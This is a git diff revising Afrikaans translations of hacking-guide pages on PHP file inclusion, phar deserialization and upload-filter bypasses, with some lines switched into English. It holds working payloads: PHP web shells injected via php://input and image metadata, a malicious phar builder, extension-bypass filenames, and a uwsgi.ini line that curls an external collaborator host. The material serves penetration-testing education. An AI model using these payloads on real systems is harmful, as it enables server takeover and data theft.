- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php fout veroorsaak.
|
||||
@ -281,7 +285,7 @@ In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek
|
||||
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex reeks te beweeg).
|
||||
- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
|
||||
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
- En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
- En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
|
||||
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -339,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodefragment hieronder demonstreer die skepping van 'n `.phar`-lêer:
|
||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n `.phar`-lêer:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -352,11 +356,11 @@ Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
By uitvoering sal 'n lêer genaamd `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI) kwesbaarhede te exploiteer.
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode binne-in uit te voer, deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan 'n poging tot die uitbuiting van 'n deserialisering kwesbaarheid gemaak word. Hierdie kwesbaarheid is geassosieer met die lees van lêers met behulp van die `phar` protokol.
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
|
||||
Vir 'n gedetailleerde begrip van die uitbuiting van deserialisering kwesbaarhede in die konteks van `.phar` lêers, verwys na die dokument wat hieronder gekoppel is:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -366,28 +370,28 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
|
||||
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php filters te misbruik.
|
||||
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
|
||||
|
||||
### Meer protokolle
|
||||
### More protocols
|
||||
|
||||
Kyk na meer moontlike [**protokolle om hier in te sluit**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluit aanval nie)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Veilige Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
|
||||
|
||||
## LFI via PHP se 'assert'
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne stringe kan uitvoer. Dit is veral problematies as invoer wat katalogus traversering karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
||||
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
||||
|
||||
Byvoorbeeld, PHP kode mag ontwerp wees om katalogus traversering te voorkom soos volg:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
@ -408,7 +412,7 @@ Dit is belangrik om **URL-encode hierdie payloads**.
|
||||
|
||||
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om die **inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
|
||||
|
||||
In opsomming, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
|
||||
In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
|
||||
|
||||
Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
|
||||
|
||||
@ -429,7 +433,7 @@ As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfun
|
||||
> [!WARNING]
|
||||
> Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
|
||||
>
|
||||
> Maak ook seker dat jy die **payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
> Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
|
||||
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die koptekst **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie koptekst ingevoeg word.\
|
||||
Ander moontlike log paaie:
|
||||
@ -468,7 +472,7 @@ As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php syst
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
|
||||
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf te injekteer.
|
||||
|
||||
### Deur Zip-lêer op te laai
|
||||
|
||||
@ -476,9 +480,9 @@ Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Deur PHP sessies
|
||||
### Deur PHP-sessies
|
||||
|
||||
Kontroleer of die webwerf PHP Sessies (PHPSESSID) gebruik.
|
||||
Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik.
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** **kontroleer** of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
|
||||
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** is **besig** om te kyk of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -588,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener **hang** die PHP uitvoering, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
|
||||
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener kan die PHP-uitvoering **hang**, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
|
@ -2,13 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
**Phar** lêrs (PHP-argief) **bevat meta data in geserialiseerde formaat**, so, wanneer dit geparseer word, word hierdie **metadata** **gedeserializeer** en jy kan probeer om 'n **deserialisering** kwesbaarheid in die **PHP** kode te misbruik.
|
||||
**Phar** lêrs (PHP-argief) bevat **meta data in geserialiseerde formaat**, so, wanneer dit geparseer word, word hierdie **metadata** **gedeserializeer** en jy kan probeer om 'n **deserialisering** kwesbaarheid in die **PHP** kode te misbruik.
|
||||
|
||||
Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs met PHP-funksies wat nie PHP-kode eval nie, soos **file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**.
|
||||
|
||||
So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende:
|
||||
So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende een:
|
||||
```php:vunl.php
|
||||
<?php
|
||||
class AnyClass {
|
||||
@ -50,7 +48,7 @@ $object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Let op hoe die **magic bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **miskien** lêer **oplaai** **beperkings** te **omseil**.\
|
||||
Let op hoe die **magiese bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **te omseil** **moontlike** lêer **oplaai** **beperkings**.\
|
||||
**Compileer** die `test.phar` lêer met:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Verwysings
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Lêer Laai Algemene Metodologie
|
||||
|
||||
Ander nuttige uitbreidings:
|
||||
@ -18,11 +17,11 @@ Ander nuttige uitbreidings:
|
||||
|
||||
### Oorbrug lêer uitbreidings kontrole
|
||||
|
||||
1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
|
||||
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Probeer om **spesiale karakters aan die einde** toe te voeg. Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let daarop dat jy ook die **vorige** genoem **uitbreidings** kan probeer_)
|
||||
3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let daarop dat jy ook die **vorige** genoem **uitbreidings** kan probeer_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -32,7 +31,7 @@ Ander nuttige uitbreidings:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Probeer om die beskermings te omseil deur die **uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
|
||||
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,9 +43,9 @@ Ander nuttige uitbreidings:
|
||||
5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
||||
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
||||
- _bv: file.php.png_
|
||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
|
||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
|
||||
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -60,19 +59,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Herverhouding
|
||||
### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
|
||||
|
||||
- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Oorbrug **magic nommer** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
|
||||
- Oorbrug **magic nommer** kontrole deur die **bytes van 'n werklike beeld** aan die begin van die lêer toe te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die webblad kan ook die **beeld** **herverhouding**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 'n Ander tegniek om 'n payload te maak wat **'n beeld herverhouding oorleef**, deur die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hervergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Ander Tricks om te kontroleer
|
||||
@ -80,13 +79,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
|
||||
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
|
||||
- **Mogelijke Inligting openbaar**:
|
||||
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
|
||||
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam**
|
||||
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
|
||||
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
|
||||
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
||||
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
|
||||
- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
||||
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
||||
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
|
||||
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
||||
|
||||
### Spesiale uitbreiding tricks
|
||||
|
||||
@ -99,7 +98,7 @@ Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die skulp!
|
||||
As jy 'n XML lêer in 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML lêer op na `$JETTY_BASE/webapps/` en verwag die skulp!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -107,7 +106,7 @@ As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
|
||||
|
||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Arbitrêre Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
|
||||
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
|
||||
```ini
|
||||
@ -127,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
|
||||
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
|
||||
|
||||
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
|
||||
|
||||
## **wget Lêer Laai/SSRF Trick**
|
||||
|
||||
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
